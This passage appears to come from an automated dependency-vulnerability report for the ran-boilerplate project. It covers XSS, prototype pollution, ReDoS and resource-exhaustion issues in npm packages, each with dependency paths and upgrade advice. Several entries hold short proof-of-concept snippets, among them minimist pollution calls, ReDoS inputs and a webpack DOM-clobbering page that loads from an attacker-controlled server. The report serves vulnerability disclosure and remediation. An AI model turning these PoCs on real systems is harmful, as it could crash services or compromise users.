This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade cookie to version 0.7.0 or higher.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: rimraf@2.6.3 and next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 rimraf@2.6.3 glob@7.2.3 inflight@1.0.6
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 glob@7.1.2 inflight@1.0.6
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 del@3.0.0 globby@6.1.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 del@3.0.0 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 terser-webpack-plugin@1.0.2 cacache@11.3.3 glob@7.2.3 inflight@1.0.6
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 autodll-webpack-plugin@0.4.2 del@3.0.0 globby@6.1.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 autodll-webpack-plugin@0.4.2 del@3.0.0 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 recursive-copy@2.0.6 del@2.2.2 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 terser-webpack-plugin@1.0.2 cacache@11.3.3 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 recursive-copy@2.0.6 del@2.2.2 globby@5.0.0 glob@7.2.3 inflight@1.0.6
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 uglifyjs-webpack-plugin@1.3.0 cacache@10.0.4 glob@7.2.3 inflight@1.0.6
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 terser-webpack-plugin@1.0.2 cacache@11.3.3 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 uglifyjs-webpack-plugin@1.3.0 cacache@10.0.4 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 terser-webpack-plugin@1.0.2 cacache@11.3.3 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 uglifyjs-webpack-plugin@1.3.0 cacache@10.0.4 move-concurrently@1.0.1 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 uglifyjs-webpack-plugin@1.3.0 cacache@10.0.4 move-concurrently@1.0.1 copy-concurrently@1.0.5 rimraf@2.7.1 glob@7.2.3 inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Open Redirect

  • Vulnerable module: express
  • Introduced through: express@4.16.4

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 express@4.16.4
    Remediation: Upgrade to express@4.19.2.

Overview

express is a minimalist web framework.

Affected versions of this package are vulnerable to Open Redirect due to the implementation of URL encoding using encodeurl before passing it to the location header. This can lead to unexpected evaluations of malformed URLs by common redirect allow list implementations in applications, allowing an attacker to bypass a properly implemented allow list and redirect users to malicious sites.

Remediation

Upgrade express to version 4.19.2, 5.0.0-beta.3 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: serialize-javascript
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 terser-webpack-plugin@1.0.2 serialize-javascript@1.9.1
    Remediation: Upgrade to next@7.0.3.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 uglifyjs-webpack-plugin@1.3.0 serialize-javascript@1.9.1

Overview

serialize-javascript is a package to serialize JavaScript to a superset of JSON that includes regular expressions and functions.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) due to unsanitized URLs. An Attacker can introduce unsafe HTML characters through non-http URLs.

PoC

const serialize = require('serialize-javascript');

let x = serialize({
    x: new URL("x:</script>")
});

console.log(x)

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade serialize-javascript to version 6.0.2 or higher.

References

medium severity

Denial of Service

  • Vulnerable module: node-fetch
  • Introduced through: isomorphic-fetch@2.2.1 and react-apollo@2.3.3

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to isomorphic-fetch@3.0.0.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 react-apollo@2.3.3 fbjs@1.0.0 isomorphic-fetch@2.2.1 node-fetch@1.7.3
    Remediation: Upgrade to react-apollo@2.5.0.

Overview

node-fetch is a light-weight module that brings window.fetch to node.js

Affected versions of this package are vulnerable to Denial of Service. Node Fetch did not honor the size option after following a redirect, which means that when a content size was over the limit, a FetchError would never get thrown and the process would end without failure.

Remediation

Upgrade node-fetch to version 2.6.1, 3.0.0-beta.9 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: webpack
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2
    Remediation: Upgrade to next@10.0.6.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via DOM clobbering in the AutoPublicPathRuntimeModule class. Non-script HTML elements with unsanitized attributes such as name and id can be leveraged to execute code in the victim's browser. An attacker who can control such elements on a page that includes Webpack-generated files, can cause subsequent scripts to be loaded from a malicious domain.

PoC

<!DOCTYPE html>
<html>
<head>
  <title>Webpack Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script src="./dist/webpack-gadgets.bundle.js"></script>
<body>
</body>
</html>

Details

A cross-site scripting attack occurs when the attacker tricks a legitimate web-based application or site to accept a request as originating from a trusted source.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade webpack to version 5.94.0 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: minimist
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 minimist@1.2.0
    Remediation: Upgrade to next@8.0.0.

Overview

minimist is a parse argument options module.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a constructor or __proto__ payload.

PoC by Snyk

require('minimist')('--__proto__.injected0 value0'.split(' '));
console.log(({}).injected0 === 'value0'); // true

require('minimist')('--constructor.prototype.injected1 value1'.split(' '));
console.log(({}).injected1 === 'value1'); // true

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade minimist to version 0.2.1, 1.2.3 or higher.

References

medium severity

Improper Control of Dynamically-Managed Code Resources

  • Vulnerable module: ejs
  • Introduced through: offline-plugin@5.0.6

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 offline-plugin@5.0.6 ejs@2.7.4

Overview

ejs is a popular JavaScript templating engine.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources due to the lack of certain pollution protection mechanisms. An attacker can exploit this vulnerability to manipulate object properties that should not be accessible or modifiable.

Note:

Even after updating to the fix version that adds enhanced protection against prototype pollution, it is still possible to override the hasOwnProperty method.

Remediation

Upgrade ejs to version 3.1.10 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: glob-parent
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 webpack@4.20.2 watchpack@1.7.5 watchpack-chokidar2@2.0.1 chokidar@2.1.8 glob-parent@3.1.0

Overview

glob-parent is a package that helps extracting the non-magic parent path from a glob string.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The enclosure regex used to check for strings ending in enclosure containing path separator.

PoC by Yeting Li

var globParent = require("glob-parent")
function build_attack(n) {
var ret = "{"
for (var i = 0; i < n; i++) {
ret += "/"
}

return ret;
}

globParent(build_attack(5000));

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade glob-parent to version 5.1.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: loader-utils
  • Introduced through: next@7.0.2 and offline-plugin@5.0.6

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 loader-utils@1.1.0
    Remediation: Upgrade to next@10.0.6.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 styled-jsx@3.1.0 loader-utils@1.1.0
    Remediation: Upgrade to next@12.0.9.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 offline-plugin@5.0.6 loader-utils@0.2.17

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the resourcePath variable in interpolateName.js.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade loader-utils to version 1.4.2, 2.0.4, 3.2.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: loader-utils
  • Introduced through: next@7.0.2 and offline-plugin@5.0.6

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 loader-utils@1.1.0
    Remediation: Upgrade to next@10.0.6.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 styled-jsx@3.1.0 loader-utils@1.1.0
    Remediation: Upgrade to next@12.0.9.
  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 offline-plugin@5.0.6 loader-utils@0.2.17

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in interpolateName function via the URL variable.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade loader-utils to version 1.4.2, 2.0.4, 3.2.1 or higher.

References

medium severity

Resource Exhaustion

  • Vulnerable module: next
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2
    Remediation: Upgrade to next@13.5.0.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Resource Exhaustion via the cache-control header. An attacker can cause a denial of service to all users requesting the same URL via a CDN by caching empty prefetch responses.

Remediation

Upgrade next to version 13.4.20-canary.13 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: terser
  • Introduced through: next@7.0.2

Detailed paths

  • Introduced through: ran-boilerplate@sly777/ran#9879d908d2a8f79b4cd1d23910db62960a99fef8 next@7.0.2 terser-webpack-plugin@1.0.2 terser@3.17.0
    Remediation: Upgrade to next@7.0.3.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to insecure usage of regular expressions.

PoC:

echo 'console.log(/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX"))' | npx terser -mc unsafe=true

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

